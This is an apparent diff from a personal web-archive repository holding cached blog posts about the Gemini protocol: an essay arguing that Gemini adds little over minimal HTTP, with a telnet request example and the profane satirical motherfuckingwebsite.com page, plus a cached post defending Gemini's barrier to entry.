encryption. To keep it simple I’m not going into the details of SSL/TLS | |||
here, however, as it’s an encapsulation around the HTTP protocol, requesting | |||
content is identical no matter if the connection is encrypted or not.</p> | |||
<p>Let’s assume I’d like to browse | |||
<a href="http://motherfuckingwebsite.com">motherfuckingwebsite.com</a>. As soon as I enter | |||
the URL in my browser’s address bar, my browser is going to do pretty much the | |||
same that I’ll be doing here using the <code>telnet</code> command:</p> | |||
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh">telnet motherfuckingwebsite.com <span class="m">80</span> | |||
Trying 108.62.0.112... | |||
Connected to motherfuckingwebsite.com. | |||
Escape character is <span class="s1">'^]'</span>. | |||
GET /index.html HTTP/1.1 | |||
Host: motherfuckingwebsite.com | |||
</code></pre></div><p>That’s it. | |||
That’s the bare minimum that this server accepts in order for me to request | |||
the website from it. Most of the time however, browsers will send more | |||
information, like for example the <code>User-Agent</code>, the <code>Accept</code>, <code>Accept-Encoding</code> | |||
and <code>Accept-Language</code> headers, maybe some <code>Cache-Control</code> info, and more | |||
things, depending on which browser you use. While these bits of | |||
information are helping the communication, it’s not like requesting | |||
content without them wouldn’t work at all. The request that I typed into | |||
<code>telnet</code> does not contain any of these headers, yet the server successfully | |||
returns the website that I’m requesting, and even tells me how to interpret this | |||
response:</p> | |||
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh">HTTP/1.1 <span class="m">200</span> OK | |||
Connection: Keep-Alive | |||
Keep-Alive: <span class="nv">timeout</span><span class="o">=</span>5, <span class="nv">max</span><span class="o">=</span><span class="m">100</span> | |||
content-type: text/html | |||
last-modified: Sun, <span class="m">18</span> Jan <span class="m">2015</span> 00:04:33 GMT | |||
accept-ranges: bytes | |||
content-length: <span class="m">5108</span> | |||
date: Sun, <span class="m">16</span> Jan <span class="m">2022</span> 22:10:29 GMT | |||
server: LiteSpeed | |||
<!DOCTYPE html> | |||
<html> | |||
<head> | |||
<meta <span class="nv">charset</span><span class="o">=</span><span class="s2">"utf-8"</span>> | |||
<meta <span class="nv">name</span><span class="o">=</span><span class="s2">"viewport"</span> <span class="nv">content</span><span class="o">=</span><span class="s2">"width=device-width, initial-scale=1"</span>> | |||
<!-- FOR THE CURIOUS: This site was made by @thebarrytone. Don<span class="s1">'t tell my mom. --> | |||
</span><span class="s1"> | |||
</span><span class="s1"> <title>Motherfucking Website</title> | |||
</span><span class="s1"></head> | |||
</span><span class="s1"> | |||
</span><span class="s1"><body> | |||
</span><span class="s1"> <header> | |||
</span><span class="s1"> <h1>This is a motherfucking website.</h1> | |||
</span><span class="s1"> <aside>And it'</span>s fucking perfect.</aside> | |||
</header> | |||
<h2>Seriously, what the fuck <span class="k">else</span> <span class="k">do</span> you want?</h2> | |||
<p>You probably build websites and think your shit is special. You think your <span class="m">13</span> megabyte parallax-ative home page is going to get you some fucking Awwward banner you can glue to the top corner of your site. You think your 40-pound jQuery file and <span class="m">83</span> polyfills give IE7 a boner because it finally has box-shadow. Wrong, motherfucker. Let me describe your perfect-ass website:</p> | |||
<ul> | |||
<li>Shit<span class="s1">'s lightweight and loads fast</li> | |||
</span><span class="s1"> <li>Fits on all your shitty screens</li> | |||
</span><span class="s1"> <li>Looks the same in all your shitty browsers</li> | |||
</span><span class="s1"> <li>The motherfucker'</span>s accessible to every asshole that visits your site</li> | |||
<li>Shit<span class="s1">'s legible and gets your fucking point across (if you had one instead of just 5mb pics of hipsters drinking coffee)</li> | |||
</span><span class="s1"> </ul> | |||
</span><span class="s1"> | |||
</span><span class="s1"> <h3>Well guess what, motherfucker:</h3> | |||
</span><span class="s1"> | |||
</span><span class="s1"> <p>You. Are. Over-designing. Look at this shit. It'</span>s a motherfucking website. Why the fuck <span class="k">do</span> you need to animate a fucking trendy-ass banner flag when I hover over that useless piece of shit? You spent hours on it and added <span class="m">80</span> kilobytes to your fucking site, and some motherfucker jabbing at it on their iPad with fat sausage fingers will never see that shit. Not to mention blind people will never see that shit, but they don<span class="s1">'t see any of your shitty shit.</p> | |||
</span><span class="s1"> | |||
</span><span class="s1"> <p>You never knew it, but this is your perfect website. Here'</span>s why.</p> | |||
<h2>It<span class="s1">'s fucking lightweight</h2> | |||
</span><span class="s1"> | |||
</span><span class="s1"> <p>This entire page weighs less than the gradient-meshed facebook logo on your fucking Wordpress site. Did you seriously load 100kb of jQuery UI just so you could animate the fucking background color of a div? You loaded all 7 fontfaces of a shitty webfont just so you could say "Hi." at 100px height at the beginning of your site? You piece of shit.</p> | |||
</span><span class="s1"> | |||
</span><span class="s1"> <h2>It'</span>s responsive</h2> | |||
<p>You dumbass. You thought you needed media queries to be responsive, but no. Responsive means that it responds to whatever motherfucking screensize it<span class="s1">'s viewed on. This site doesn'</span>t care <span class="k">if</span> you<span class="s1">'re on an iMac or a motherfucking Tamagotchi.</p> | |||
</span><span class="s1"> | |||
</span><span class="s1"> <h2>It fucking works</h2> | |||
</span><span class="s1"> | |||
</span><span class="s1"> <p>Look at this shit. You can read it ... that is, if you can read, motherfucker. It makes sense. It has motherfucking hierarchy. It'</span>s using HTML5 tags so you and your bitch-ass browser know what the fuck<span class="s1">'s in this fucking site. That'</span>s semantics, motherfucker.</p> | |||
<p>It has content on the fucking screen. Your site has three bylines and link to your dribbble account, but you spread it over <span class="m">7</span> full screens and make me click some bobbing button to show me how cool the jQuery ScrollTo plugin is.</p> | |||
<p>Cross-browser compatibility? Load this motherfucker in IE6. I fucking dare you.</p> | |||
<h2>This is a website. Look at it. You<span class="s1">'ve never seen one before.</h2> | |||
</span><span class="s1"> | |||
</span><span class="s1"> <p>Like the man who'</span>s never grown out his beard has no idea what his <span class="nb">true</span> natural state is, you have no fucking idea what a website is. All you have ever seen are shitty skeuomorphic bastardizations of what should be text communicating a fucking message. This is a real, naked website. Look at it. It<span class="s1">'s fucking beautiful.</p> | |||
</span><span class="s1"> | |||
</span><span class="s1"> <h3>Yes, this is fucking satire, you fuck</h3> | |||
</span><span class="s1"> | |||
</span><span class="s1"> <p>I'</span>m not actually saying your shitty site should look like this. What I<span class="s1">'m saying is that all the problems we have with websites are <strong>ones we create ourselves</strong>. Websites aren'</span>t broken by default, they are functional, high-performing, and accessible. You <span class="nb">break</span> them. You son-of-a-bitch.</p> | |||
<blockquote <span class="nv">cite</span><span class="o">=</span><span class="s2">"https://www.vitsoe.com/us/about/good-design"</span>><span class="s2">"Good design is as little design as possible."</span><br> | |||
- some German motherfucker | |||
</blockquote> | |||
<hr> | |||
<h2>Epilogue</h2> | |||
<p>From the philosophies expressed <span class="o">(</span>poorly<span class="o">)</span> above, <a <span class="nv">href</span><span class="o">=</span><span class="s2">"http://txti.es"</span>>txti</a> was created. You should try it today to make your own motherfucking websites.</p> | |||
<!-- yes, I know...wanna fight about it? --> | |||
<script> | |||
<span class="o">(</span><span class="k">function</span><span class="o">(</span>i,s,o,g,r,a,m<span class="o">){</span>i<span class="o">[</span><span class="s1">'GoogleAnalyticsObject'</span><span class="o">]=</span>r<span class="p">;</span>i<span class="o">[</span>r<span class="o">]=</span>i<span class="o">[</span>r<span class="o">]||</span><span class="k">function</span><span class="o">(){</span> | |||
<span class="o">(</span>i<span class="o">[</span>r<span class="o">]</span>.q<span class="o">=</span>i<span class="o">[</span>r<span class="o">]</span>.q<span class="o">||[])</span>.push<span class="o">(</span>arguments<span class="o">)}</span>,i<span class="o">[</span>r<span class="o">]</span>.l<span class="o">=</span>1*new Date<span class="o">()</span><span class="p">;</span><span class="nv">a</span><span class="o">=</span>s.createElement<span class="o">(</span>o<span class="o">)</span>, | |||
<span class="nv">m</span><span class="o">=</span>s.getElementsByTagName<span class="o">(</span>o<span class="o">)[</span>0<span class="o">]</span><span class="p">;</span>a.async<span class="o">=</span>1<span class="p">;</span>a.src<span class="o">=</span>g<span class="p">;</span>m.parentNode.insertBefore<span class="o">(</span>a,m<span class="o">)</span> | |||
<span class="o">})(</span>window,document,<span class="s1">'script'</span>,<span class="s1">'//www.google-analytics.com/analytics.js'</span>,<span class="s1">'ga'</span><span class="o">)</span><span class="p">;</span> | |||
ga<span class="o">(</span><span class="s1">'create'</span>, <span class="s1">'UA-45956659-1'</span>, <span class="s1">'motherfuckingwebsite.com'</span><span class="o">)</span><span class="p">;</span> | |||
ga<span class="o">(</span><span class="s1">'send'</span>, <span class="s1">'pageview'</span><span class="o">)</span><span class="p">;</span> | |||
</script> | |||
</body> | |||
</html> | |||
</code></pre></div><p>On the other hand, according to its specification, a request on the Gemini | |||
protocol looks like this:</p> | |||
<blockquote> | |||
<p>2 Gemini requests</p> | |||
<p>Gemini requests are a single CRLF-terminated line with the following structure:</p> | |||
<p><URL><CR><LF></p> | |||
<p><URL> is a UTF-8 encoded absolute URL, including a scheme, of maximum length | |||
1024 bytes. The request MUST NOT begin with a U+FEFF byte order mark.</p> | |||
<p>Sending an absolute URL instead of only a path or selector is effectively | |||
equivalent to building in a HTTP “Host” header. It permits virtual hosting of | |||
multiple Gemini domains on the same IP address. It also allows servers to | |||
optionally act as proxies. Including schemes other than “gemini” in requests | |||
allows servers to optionally act as protocol-translating gateways to e.g. fetch | |||
gopher resources over Gemini. Proxying is optional and the vast majority of | |||
servers are expected to only respond to requests for resources at their own | |||
domain(s).</p> | |||
<p>Clients MUST NOT send anything after the first occurrence of <CR><LF> in a | |||
request, and servers MUST ignore anything sent after the first occurrence of a | |||
<CR><LF>.</p> | |||
</blockquote> | |||
<p>When comparing the most minimal version of an HTTP request with a standard | |||
Gemini request, it turns out that the only difference is a single additionally | |||
required header (<code>Host</code>) and a few additional characters (<code>GET</code> and <code>HTTP/1.1</code>) | |||
in the HTTP request. Hence, Gemini’s argument of being <em>“lighter than the web”</em> | |||
doesn’t make that much of a difference at all from a protocol perspective, and | |||
it certainly does not justify <strong>completely replacing existing infrastructure and | |||
standards that humans have mutually agreed upon</strong>.</p> | |||
<p><em>“But what about the response and the content?"</em>, you might be wondering. | |||
Well, it’s a similar story there. By default, regular HTTP servers will include | |||
all sorts of information in their response that will allow the browser to | |||
process it more easily/without a lot of <em>guesstimating</em>. However, it would | |||
nevertheless be possible to bend existing HTTP servers to only include the bare | |||
minimum additional info in their response, that would still allow a modern | |||
browser to process the data.</p> | |||
<p>As for the actual content, it is easily possible to configure a modern HTTP | |||
server like nginx to respond with nothing but pure Markdown. Users could then | |||
install either of the | |||
<a href="https://addons.mozilla.org/en-US/firefox/addon/markdown-viewer-webext/">dozens</a> | |||
of | |||
<a href="https://addons.mozilla.org/en-US/firefox/addon/markdown-viewer-chrome/">extensions</a> | |||
available for their web browser, to be able to visit the Markdown-only websites | |||
more comfortably. If Gemini would have gone that path, people interested in <em>the | |||
smol internet</em> would still be able to develop custom tailored clients that only | |||
work with these type of websites, and that would not include all the baggage that | |||
comes with any modern browser. Everybody else, on the other hand, could continue | |||
using the tools their familiar with and would still be able to to consume the | |||
content.</p> | |||
<p>Gemini instead opted for a different direction, which <strong>actively excludes people</strong>, | |||
while it <strong>does not deliver anything new nor beneficial</strong> that would justify | |||
dismissing existing standards and infrastructure in first place. Gemini is | |||
solutionism at its worst and is more about exclusion of the mainstream over | |||
bringing actual technological advancement, let alone fixing the issues it | |||
baselessly claims to be fixing. Gemini does not bring new ideas to the table, | |||
but instead uses decade old concepts from HTTP and Gopher, to implement a | |||
castrated and badly designed version of its own, just for the sake of it not | |||
being HTTP nor Gopher.</p> | |||
<blockquote> | |||
<p>To me, Gemini looks like a mix of Gopher and HTTP/0.9 and it’s a mystery to me | |||
why you would rather write a new protocol so similar to those rather than just | |||
stick to what already exists.<br> | |||
– <a href="https://curl.se/mail/lib-2020-11/0084.html">Daniel Stenberg, founder and lead developer of cURL</a></p> | |||
</blockquote> | |||
<p><em>“But&mldr; but&mldr; it takes user privacy <strong>very seriously</strong>?"</em><br> | |||
Okay, how so? Let’s quickly check the FAQ:</p> | |||
<blockquote> | |||
<p>2.1.2 Privacy</p> | |||
<p>Gemini is designed with an acute awareness that the modern web is a privacy | |||
disaster, and that the internet is not a safe place for plaintext. Things like | |||
browser fingerprinting and Etag-based “supercookies” are an important cautionary | |||
tale: user tracking can and will be snuck in via the backdoor using protocol | |||
features which were not designed to facilitate it. Thus, protocol designers must | |||
not only avoid designing in tracking features (which is easy), but also assume | |||
active malicious intent and avoid designing anything which could be subverted to | |||
provide effective tracking. This concern manifests as a deliberate | |||
non-extensibility in many parts of the Gemini protocol.</p> | |||
</blockquote> | |||
<p>Turns out, neither the FAQ nor the protocol precisely pin-point how exactly | |||
Gemini takes <em>privacy seriously</em>. They call out typical buzzwords like | |||
<em>supercookies</em> and <em>fingerprinting</em> and suggest that due to the protocol’s | |||
<em>non-extensibility</em> Gemini is more privacy-focused than the <em>modern web</em>. Then, | |||
on the other hand, Gemini users | |||
<a href="https://curl.se/mail/lib-2020-11/0083.html">write things like this</a>:</p> | |||
<blockquote> | |||
<ul> | |||
<li>Certificate verification. Gemini servers rarely use certificates with | |||
trust chain from certificates in /etc/ssl/certs; self-signed | |||
certificates are the norm. Option -k should be the default for gemini | |||
protocol.</li> | |||
</ul> | |||
</blockquote> | |||
<p>Ah yes, that is how <em>taking privacy seriously</em> looks like. Besides, what about | |||
the visitor’s IP address? Gemini servers can certaily see that. Nowhere in its | |||
official documentation Gemini seems to care about telling users this detail, let | |||
alone whether or not they’re able to browse via Tor or if there’s any client | |||
that would support Tor right out-of-the-box.</p> | |||
<p>Also, what if I wrote my own Gemini server – judging by its protocol that’s | |||
something one could do within a few hours – that would attach | |||
per-initial-request generated hashes to all links? | |||
Thereby, when a user visits my Gemini site, they would get a unique | |||
hash assigned, which would then be sent to my server every time they follow a | |||
link to a different subsite. I could track the user’s browsing behaviour across | |||
my site, just like HTTP sites do these days. If I store these requests, | |||
plus the IP address the user is coming from, I would already gather some | |||
interesting data points.<br> | |||
What if I would perform a quick investigation of the TCP/IP packets | |||
additionally? E.g. the initial packet size, the window- and segment-size, the | |||
initial TTL, individual flags? I could make my Gemini server use such | |||
fingerprinting techniques to gather more info and store that as well. If I’d | |||
be really up to something, I could have all sorts of additional checks and | |||
scans running for every new connection. Even if the user would connect through | |||
a NATted IP, I could eventually gain enough intel to be able to tell | |||
with relatively high confidence if a request was made by a visitor I’ve seen | |||
before or not, especially with such a small user-base (as compared to HTTP). | |||
Let alone all the still to be discovered exploits within individual client | |||
implementations, that might as well lead to potential privacy or even security | |||
risks.</p> | |||
<p>Bottom line is, if you agree that the modern web has become an awful place, | |||
let’s work on changing that for everyone, instead of abandoning it like a | |||
bunch of billionaires trying to escape to a different place, before this | |||
one collapses.</p> | |||
<p>The reason this website looks the way it does, is not because it follows the | |||
latest online trends, but because it’s everything that is required to efficiently | |||
transport information from me to you, using tools that we’re both familiar with, | |||
while staying out of both our ways.<br> | |||
If you don’t like how modern websites track their users and flood them with | |||
ads, then don’t do that on your website, contribute to projects like | |||
uBlock Origin, Privacy Badger and Tor, and stop using websites that <strong>do</strong> track | |||
their users or spam them with ads. | |||
If you don’t like JavaScript, don’t use it or use it in a way in which | |||
your site will still function even without it, and stop using websites that won’t | |||
even load without JavaScript enabled. | |||
If you’re not a fan of CSS, don’t use it, nobody forces you to style your HTML | |||
and most browsers include a fairly accessible default stylesheet. | |||
Heck, if you’re as much of a purist as the Gemini folks claim to be and don’t | |||
want neither videos nor images on your website, simply don’t put any there. | |||
<a href="http://motherfuckingwebsite.com">motherfuckingwebsite.com</a> is a perfect example | |||
of a website that uses none of all that while still functioning flawlessly.</p> | |||
<p>Ultimately, serving content solely via Gemini will only lead to it becoming | |||
<strong>less</strong> accessible and available to other people. Moving to Gemini is the | |||
opposite of inclusive, it’s exclusive. It’s a step in the wrong direction.</p> |
@@ -0,0 +1,186 @@ | |||
<!doctype html><!-- This is a valid HTML5 document. --> | |||
<!-- Screen readers, SEO, extensions and so on. --> | |||
<html lang="fr"> | |||
<!-- Has to be within the first 1024 bytes, hence before the `title` element | |||
See: https://www.w3.org/TR/2012/CR-html5-20121217/document-metadata.html#charset --> | |||
<meta charset="utf-8"> | |||
<!-- Why no `X-UA-Compatible` meta: https://stackoverflow.com/a/6771584 --> | |||
<!-- The viewport meta is quite crowded and we are responsible for that. | |||
See: https://codepen.io/tigt/post/meta-viewport-for-2015 --> | |||
<meta name="viewport" content="width=device-width,initial-scale=1"> | |||
<!-- Required to make a valid HTML5 document. --> | |||
<title>Keeping Gemini Difficult (archive) — David Larlet</title> | |||
<meta name="description" content="Publication mise en cache pour en conserver une trace."> | |||
<!-- That good ol' feed, subscribe :). --> | |||
<link rel="alternate" type="application/atom+xml" title="Feed" href="/david/log/"> | |||
<!-- Generated from https://realfavicongenerator.net/ such a mess. --> | |||
<link rel="apple-touch-icon" sizes="180x180" href="/static/david/icons2/apple-touch-icon.png"> | |||
<link rel="icon" type="image/png" sizes="32x32" href="/static/david/icons2/favicon-32x32.png"> | |||
<link rel="icon" type="image/png" sizes="16x16" href="/static/david/icons2/favicon-16x16.png"> | |||
<link rel="manifest" href="/static/david/icons2/site.webmanifest"> | |||
<link rel="mask-icon" href="/static/david/icons2/safari-pinned-tab.svg" color="#07486c"> | |||
<link rel="shortcut icon" href="/static/david/icons2/favicon.ico"> | |||
<meta name="msapplication-TileColor" content="#f7f7f7"> | |||
<meta name="msapplication-config" content="/static/david/icons2/browserconfig.xml"> | |||
<meta name="theme-color" content="#f7f7f7" media="(prefers-color-scheme: light)"> | |||
<meta name="theme-color" content="#272727" media="(prefers-color-scheme: dark)"> | |||
<!-- Documented, feel free to shoot an email. --> | |||
<link rel="stylesheet" href="/static/david/css/style_2021-01-20.css"> | |||
<!-- See https://www.zachleat.com/web/comprehensive-webfonts/ for the trade-off. --> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t4_poly_regular.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: light), (prefers-color-scheme: no-preference)" crossorigin> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t4_poly_bold.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: light), (prefers-color-scheme: no-preference)" crossorigin> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t4_poly_italic.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: light), (prefers-color-scheme: no-preference)" crossorigin> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t3_regular.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: dark)" crossorigin> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t3_bold.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: dark)" crossorigin> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t3_italic.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: dark)" crossorigin> | |||
<script> | |||
function toggleTheme(themeName) { | |||
document.documentElement.classList.toggle( | |||
'forced-dark', | |||
themeName === 'dark' | |||
) | |||
document.documentElement.classList.toggle( | |||
'forced-light', | |||
themeName === 'light' | |||
) | |||
} | |||
const selectedTheme = localStorage.getItem('theme') | |||
if (selectedTheme !== 'undefined') { | |||
toggleTheme(selectedTheme) | |||
} | |||
</script> | |||
<meta name="robots" content="noindex, nofollow"> | |||
<meta content="origin-when-cross-origin" name="referrer"> | |||
<!-- Canonical URL for SEO purposes --> | |||
<link rel="canonical" href="https://memex.marginalia.nu/log/35-keeping-gemini-difficult.gmi"> | |||
<body class="remarkdown h1-underline h2-underline h3-underline em-underscore hr-center ul-star pre-tick" data-instant-intensity="viewport-all"> | |||
<article> | |||
<header> | |||
<h1>Keeping Gemini Difficult</h1> | |||
</header> | |||
<nav> | |||
<p class="center"> | |||
<a href="/david/" title="Aller à l’accueil"><svg class="icon icon-home"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-home"></use> | |||
</svg> Accueil</a> • | |||
<a href="https://memex.marginalia.nu/log/35-keeping-gemini-difficult.gmi" title="Lien vers le contenu original">Source originale</a> | |||
</p> | |||
</nav> | |||
<hr> | |||
<p>This is a response to the post "Making Gemini Easy" over on ~tomasino, and the title is a bit tongue-in-cheek haha-but-no-really. <br> | |||
<br> | |||
<a class="external" href="https://proxy.vulpes.one/gemini/tilde.team/~tomasino/journal/20211103-making-gemini-easy.gmi">gemini://tilde.team/~tomasino/journal/20211103-making-gemini-easy.gmi</a><br> | |||
<br> | |||
I think the idea that we need to shield the users from how technology works is a terrible, terrible mistake. It disempowers the users, and concentrates power in the hands of a technological elite, and that divide is only going to grow.<br> | |||
<br> | |||
We already have an alarming number of people working with computers, and some may even be programmers, that simply do not understand how computers work. Their only concept of a computer is the user interface on the screen. The rest is unintelligible wizardry. Nobody has told them, it's been deemed too complicated, nothing for them to worry their little heads about.<br> | |||
<br> | |||
If you treat people like children, they act like children, they think like children, they for all intents and purposes become trapped in perpetual childhood. Helpless and dependent, forever. What we need to do is treat people as dignified human beings capable of learning and understanding and overcoming challenges, if we do, they become capable, they learn and rise to the occasion, they are empowered and become independent; in short, they're allowed to enter adulthood. <br> | |||
<br> | |||
We need to teach the users of technology how to make a fire on their own, even though they may get burnt, and even though it requires more than installing an app on the store.<br> | |||
<br> | |||
In that regards, I think one of best aspects of Gemini is that it actually has a bar to entry. If you want to do more than just reading, you need to invest some time into understanding what you are contributing to. It's not incredibly difficult, but it does demand a modicum of technological understanding. <br> | |||
<br> | |||
That obstacle is a ultimately good thing. As much as it excludes those who are unwilling to invest in overcoming it, also it elevates those who do.<br></p> | |||
</article> | |||
<hr> | |||
<footer> | |||
<p> | |||
<a href="/david/" title="Aller à l’accueil"><svg class="icon icon-home"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-home"></use> | |||
</svg> Accueil</a> • | |||
<a href="/david/log/" title="Accès au flux RSS"><svg class="icon icon-rss2"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-rss2"></use> | |||
</svg> Suivre</a> • | |||
<a href="http://larlet.com" title="Go to my English profile" data-instant><svg class="icon icon-user-tie"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-user-tie"></use> | |||
</svg> Pro</a> • | |||
<a href="mailto:david%40larlet.fr" title="Envoyer un courriel"><svg class="icon icon-mail"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-mail"></use> | |||
</svg> Email</a> • | |||
<abbr class="nowrap" title="Hébergeur : Alwaysdata, 62 rue Tiquetonne 75002 Paris, +33184162340"><svg class="icon icon-hammer2"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-hammer2"></use> | |||
</svg> Légal</abbr> | |||
</p> | |||
<template id="theme-selector"> | |||
<form> | |||
<fieldset> | |||
<legend><svg class="icon icon-brightness-contrast"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-brightness-contrast"></use> | |||
</svg> Thème</legend> | |||
<label> | |||
<input type="radio" value="auto" name="chosen-color-scheme" checked> Auto | |||
</label> | |||
<label> | |||
<input type="radio" value="dark" name="chosen-color-scheme"> Foncé | |||
</label> | |||
<label> | |||
<input type="radio" value="light" name="chosen-color-scheme"> Clair | |||
</label> | |||
</fieldset> | |||
</form> | |||
</template> | |||
</footer> | |||
<script src="/static/david/js/instantpage-5.1.0.min.js" type="module"></script> | |||
<script> | |||
function loadThemeForm(templateName) { | |||
const themeSelectorTemplate = document.querySelector(templateName) | |||
const form = themeSelectorTemplate.content.firstElementChild | |||
themeSelectorTemplate.replaceWith(form) | |||
form.addEventListener('change', (e) => { | |||
const chosenColorScheme = e.target.value | |||
localStorage.setItem('theme', chosenColorScheme) | |||
toggleTheme(chosenColorScheme) | |||
}) | |||
const selectedTheme = localStorage.getItem('theme') | |||
if (selectedTheme && selectedTheme !== 'undefined') { | |||
form.querySelector(`[value="${selectedTheme}"]`).checked = true | |||
} | |||
} | |||
const prefersColorSchemeDark = '(prefers-color-scheme: dark)' | |||
window.addEventListener('load', () => { | |||
let hasDarkRules = false | |||
for (const styleSheet of Array.from(document.styleSheets)) { | |||
let mediaRules = [] | |||
for (const cssRule of styleSheet.cssRules) { | |||
if (cssRule.type !== CSSRule.MEDIA_RULE) { | |||
continue | |||
} | |||
// WARNING: Safari does not have/supports `conditionText`. | |||
if (cssRule.conditionText) { | |||
if (cssRule.conditionText !== prefersColorSchemeDark) { | |||
continue | |||
} | |||
} else { | |||
if (cssRule.cssText.startsWith(prefersColorSchemeDark)) { | |||
continue | |||
} | |||
} | |||
mediaRules = mediaRules.concat(Array.from(cssRule.cssRules)) | |||
} | |||
// WARNING: do not try to insert a Rule to a styleSheet you are | |||
// currently iterating on, otherwise the browser will be stuck | |||
// in a infinite loop… | |||
for (const mediaRule of mediaRules) { | |||
styleSheet.insertRule(mediaRule.cssText) | |||
hasDarkRules = true | |||
} | |||
} | |||
if (hasDarkRules) { | |||
loadThemeForm('#theme-selector') | |||
} | |||
}) | |||
</script> | |||
</body> | |||
</html> |
@@ -0,0 +1,19 @@ | |||
title: Keeping Gemini Difficult | |||
url: https://memex.marginalia.nu/log/35-keeping-gemini-difficult.gmi | |||
hash_url: d7aa31b1b2a781330df24fe71c19166c | |||
This is a response to the post "Making Gemini Easy" over on ~tomasino, and the title is a bit tongue-in-cheek haha-but-no-really. <br> | |||
<br> | |||
<a class="external" href="https://proxy.vulpes.one/gemini/tilde.team/~tomasino/journal/20211103-making-gemini-easy.gmi">gemini://tilde.team/~tomasino/journal/20211103-making-gemini-easy.gmi</a><br> | |||
<br> | |||
I think the idea that we need to shield the users from how technology works is a terrible, terrible mistake. It disempowers the users, and concentrates power in the hands of a technological elite, and that divide is only going to grow.<br> | |||
<br> | |||
We already have an alarming number of people working with computers, and some may even be programmers, that simply do not understand how computers work. Their only concept of a computer is the user interface on the screen. The rest is unintelligible wizardry. Nobody has told them, it's been deemed too complicated, nothing for them to worry their little heads about.<br> | |||
<br> | |||
If you treat people like children, they act like children, they think like children, they for all intents and purposes become trapped in perpetual childhood. Helpless and dependent, forever. What we need to do is treat people as dignified human beings capable of learning and understanding and overcoming challenges, if we do, they become capable, they learn and rise to the occasion, they are empowered and become independent; in short, they're allowed to enter adulthood. <br> | |||
<br> | |||
We need to teach the users of technology how to make a fire on their own, even though they may get burnt, and even though it requires more than installing an app on the store.<br> | |||
<br> | |||
In that regards, I think one of best aspects of Gemini is that it actually has a bar to entry. If you want to do more than just reading, you need to invest some time into understanding what you are contributing to. It's not incredibly difficult, but it does demand a modicum of technological understanding. <br> | |||
<br> | |||
That obstacle is a ultimately good thing. As much as it excludes those who are unwilling to invest in overcoming it, also it elevates those who do.<br> |
@@ -0,0 +1,272 @@ | |||
<!doctype html><!-- This is a valid HTML5 document. --> | |||
<!-- Screen readers, SEO, extensions and so on. --> | |||
<html lang="fr"> | |||
<!-- Has to be within the first 1024 bytes, hence before the `title` element | |||
See: https://www.w3.org/TR/2012/CR-html5-20121217/document-metadata.html#charset --> | |||
<meta charset="utf-8"> | |||
<!-- Why no `X-UA-Compatible` meta: https://stackoverflow.com/a/6771584 --> | |||
<!-- The viewport meta is quite crowded and we are responsible for that. | |||
See: https://codepen.io/tigt/post/meta-viewport-for-2015 --> | |||
<meta name="viewport" content="width=device-width,initial-scale=1"> | |||
<!-- Required to make a valid HTML5 document. --> | |||
<title>2021.58 fiction until (archive) — David Larlet</title> | |||
<meta name="description" content="Publication mise en cache pour en conserver une trace."> | |||
<!-- That good ol' feed, subscribe :). --> | |||
<link rel="alternate" type="application/atom+xml" title="Feed" href="/david/log/"> | |||
<!-- Generated from https://realfavicongenerator.net/ such a mess. --> | |||
<link rel="apple-touch-icon" sizes="180x180" href="/static/david/icons2/apple-touch-icon.png"> | |||
<link rel="icon" type="image/png" sizes="32x32" href="/static/david/icons2/favicon-32x32.png"> | |||
<link rel="icon" type="image/png" sizes="16x16" href="/static/david/icons2/favicon-16x16.png"> | |||
<link rel="manifest" href="/static/david/icons2/site.webmanifest"> | |||
<link rel="mask-icon" href="/static/david/icons2/safari-pinned-tab.svg" color="#07486c"> | |||
<link rel="shortcut icon" href="/static/david/icons2/favicon.ico"> | |||
<meta name="msapplication-TileColor" content="#f7f7f7"> | |||
<meta name="msapplication-config" content="/static/david/icons2/browserconfig.xml"> | |||
<meta name="theme-color" content="#f7f7f7" media="(prefers-color-scheme: light)"> | |||
<meta name="theme-color" content="#272727" media="(prefers-color-scheme: dark)"> | |||
<!-- Documented, feel free to shoot an email. --> | |||
<link rel="stylesheet" href="/static/david/css/style_2021-01-20.css"> | |||
<!-- See https://www.zachleat.com/web/comprehensive-webfonts/ for the trade-off. --> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t4_poly_regular.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: light), (prefers-color-scheme: no-preference)" crossorigin> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t4_poly_bold.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: light), (prefers-color-scheme: no-preference)" crossorigin> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t4_poly_italic.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: light), (prefers-color-scheme: no-preference)" crossorigin> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t3_regular.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: dark)" crossorigin> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t3_bold.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: dark)" crossorigin> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t3_italic.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: dark)" crossorigin> | |||
<script> | |||
function toggleTheme(themeName) { | |||
document.documentElement.classList.toggle( | |||
'forced-dark', | |||
themeName === 'dark' | |||
) | |||
document.documentElement.classList.toggle( | |||
'forced-light', | |||
themeName === 'light' | |||
) | |||
} | |||
